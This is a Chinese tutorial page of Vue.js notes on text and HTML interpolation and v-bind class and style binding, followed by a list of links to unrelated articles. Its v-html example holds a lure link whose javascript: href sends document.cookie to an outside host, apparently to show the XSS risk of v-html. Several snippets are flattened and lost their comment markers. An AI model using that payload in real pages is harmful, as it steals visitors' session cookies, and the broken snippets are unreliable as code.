当前位置：首页 > news >正文

【前端】vue.js从入门到项目实战笔记

news 2025/7/17 7:19:55

文章目录

第三章
- 3.1 插值绑定（{{}}， v-html）
- 3.1.1 文本插值
- - 3.1.2 HTML插值
- 3.2 属性绑定 v-bind
- - 3.2.1 指令v-bind
  - 3.2.3 类名和样式绑定

【前端目录贴】

第三章

3.1 插值绑定（{{}}， v-html）

文本插值中的代码被解释为节点的文本内容，而HTML插值中的代码则被渲染为视图节点。

3.1.1 文本插值

文本插值的方式：用双大括号将要绑定的变量、值、表达式括住就可以实现，Vue将会获取计算后的值，并以文本的形式将其展示出来。

<div id="app"><h2>文本插值</h2><p><span class="profile">变量:</span> {{ num }}</p><p><span class="profile">表达式:</span> {{ 4 + 10 }}</p><p><span class="profile">三目运算符:</span> {{ true ? 15 : 10  }}</p><p><span class="profile">函数:</span> {{ getNum() }}</p><p><span class="profile">匿名函数:</span> {{ (() => 5 + 10)() }}</p><p><span class="profile">对象:</span> {{ {num: 15} }}</p><p><span class="profile">函数对象:</span> {{ getNum }}</p><p><span class="profile">html代码（表达式）:</span> {{ '<span>15</span>' }}</p><p><span class="profile">html代码（变量）:</span> {{ html }}</p>
</div>
<script>var vue=new Vue({el:"#app",data(){return {num:10,html:"<span>15</span>"};},methods:{getNum(){return this.num;}}});
</script>

结果：
在这里插入图片描述

3.1.2 HTML插值

<body><div id="demo"><div>{{blog}}</div><hr/><div v-html="blog">21312</div></div><script>new Vue({el:'#demo',data:{blog:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>'}})</script>
</body>

在这里插入图片描述

3.2 属性绑定 v-bind

3.2.1 指令v-bind

DOM节点的属性基本都可以用指令v-bind进行绑定.

<!-- 准备好一个容器 -->
<div id="demo"><h1 v-bind:class="className">Hello，尚硅谷</h1>
<!--    简写形式--><a  :href="hrefName">百度</a>
</div>
<script>//创建Vue实例,传一个参数,(对象,叫做配置对象)new Vue({el: '#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。data: { data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。className: "italic",hrefName: "https://baidu.com"}})
</script>

3.2.3 类名和样式绑定

类名实际由数组拼接而成
样式有对象键值对拼接而成
(虽然都可以用其他方式表示)

表达类名: 字符串, 数组, 对象

说明:将类名作为对象键名,当键值被判定为真时,类名将被绑定到节点.
js中等价于false的表达: undefined ,null,0, 空字符串, [], {},-1, -0.1

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script type="text/javascript" src="./vue.js"></script><style>.color-gray{color: #b1191a;}.size-18{font-size: 18px;}.style-italic{font-style: italic;}</style>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo"><h1  class="color-gray size-18 style-italic">Hello，尚硅谷</h1><h1 v-bind:class="classStr">Hello，尚硅谷</h1><h1 v-bind:class="classArr">Hello，尚硅谷</h1><h1 v-bind:class="classObj1">Hello，尚硅谷</h1><h1 v-bind:class="classObj2">Hello，尚硅谷</h1>
</div>
<script>//创建Vue实例,传一个参数,(对象,叫做配置对象)new Vue({el: '#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。data: { data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。classStr: "color-gray size-18 style-italic",//拼接字符串classArr: ['color-gray','size-18', 'style-italic'],//数组classObj1: {//对象,绑定类名'color-gray':true,'size-18':true,'style-italic':true},classObj2: {//对象,未绑定类名'color-gray':false,'size-18':false,'style-italic':false}}})
</script>
</body>
</html>

在这里插入图片描述

表达样式: 字符串, 对象 (不能用数组)

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script type="text/javascript" src="./vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo"><h1  style="color: gray; size:18px; font-style: italic">Hello，尚硅谷</h1><h1 v-bind:style="classStr">Hello，尚硅谷</h1><h1 v-bind:style="classArr">Hello，尚硅谷</h1><h1 v-bind:style="classObj1">Hello，尚硅谷</h1><h1 v-bind:style="classObj2">Hello，尚硅谷</h1>
</div>
<script>//创建Vue实例,传一个参数,(对象,叫做配置对象)new Vue({el: '#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。data: { data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。classStr: "color: gray; size:18px; font-style: italic",//拼接字符串classArr: ['color: gray','size:18px', 'font-style: italic'],//数组classObj1: {//对象,绑定类名'color':'gray','size':'18px','font-style':'italic'},classObj2: {//对象,未绑定类名'color':0?'gray':'','size':''?'18px':'','font-style':null?'italic':''}}})
</script>
</body>
</html>

在这里插入图片描述

【前端】vue.js从入门到项目实战笔记

文章目录第三章3.1 插值绑定（{{}}， v-html）3.1.1 文本插值3.1.2 HTML插值 3.2 属性绑定 v-bind3.2.1 指令v-bind3.2.3 类名和样式绑定【前端目录贴】第三章 3.1 插值绑定（{{}}， v-html） 文本插值中的代…...

编程日记 2024/1/18 17:50:26

九、骰子 *{margin:0;padding: 0;box-sizing: border-box; } .flex{display: flex;flex-flow: row wrap;justify-content: space-between;align-items: center;align-content: space-between;padding:20px; } .touzi{width: 120px;height: 120px;background-color: aliceblue;…...

编程日记 2024/1/18 17:49:25

【前端】vue.js从入门到项目实战笔记

文章目录

第三章

3.1 插值绑定（{{}}， v-html）

3.1.1 文本插值

3.1.2 HTML插值

3.2 属性绑定 v-bind

3.2.1 指令v-bind

3.2.3 类名和样式绑定

相关文章：

【前端】vue.js从入门到项目实战笔记

flex布局（3）

JVM知识总结

读书笔记-《数据结构与算法》-摘要8[桶排序]

【STM32调试】寄存器调试不良问题记录持续版

centos7 arm服务器编译升级安装动态库libstdc++.so.6，解决GLIBC和CXXABI版本低的问题

自动驾驶轨迹规划之碰撞检测（三）

如何用pandas处理财报数据删除金融行业数据

oracle 19c容器数据库data dump数据泵传输数据（4）---网络传输

IP 网络分为接入网、城域网和骨干网

web3.0基本概念简析

Linux/Traceback

陶瓷碗口缺口检测-图像分割

2023年第十四届蓝桥杯软件赛省赛总评

Redis面试大全

MFC为资源对话框添加消息处理函数和初始化控件

7.6 MySQL基本函数的使用(❤❤❤)

《Redis:NoSQL演进之路与Redis深度实践解析》

npm依赖库备份

Python进程池multiprocessing.Pool

VB.net复制Ntag213卡写入UID

shell脚本--常见案例

AtCoder 第409场初级竞赛 A~E题解

【ROS】Nav2源码之nav2_behavior_tree-行为树节点列表

Reasoning over Uncertain Text by Generative Large Language Models

2025季度云服务器排行榜

零知开源——STM32F103RBT6驱动 ICM20948 九轴传感器及 vofa + 上位机可视化教程

Cilium动手实验室: 精通之旅---13.Cilium LoadBalancer IPAM and L2 Service Announcement

Ray框架：分布式AI训练与调参实践

基于Python的气象数据分析及可视化研究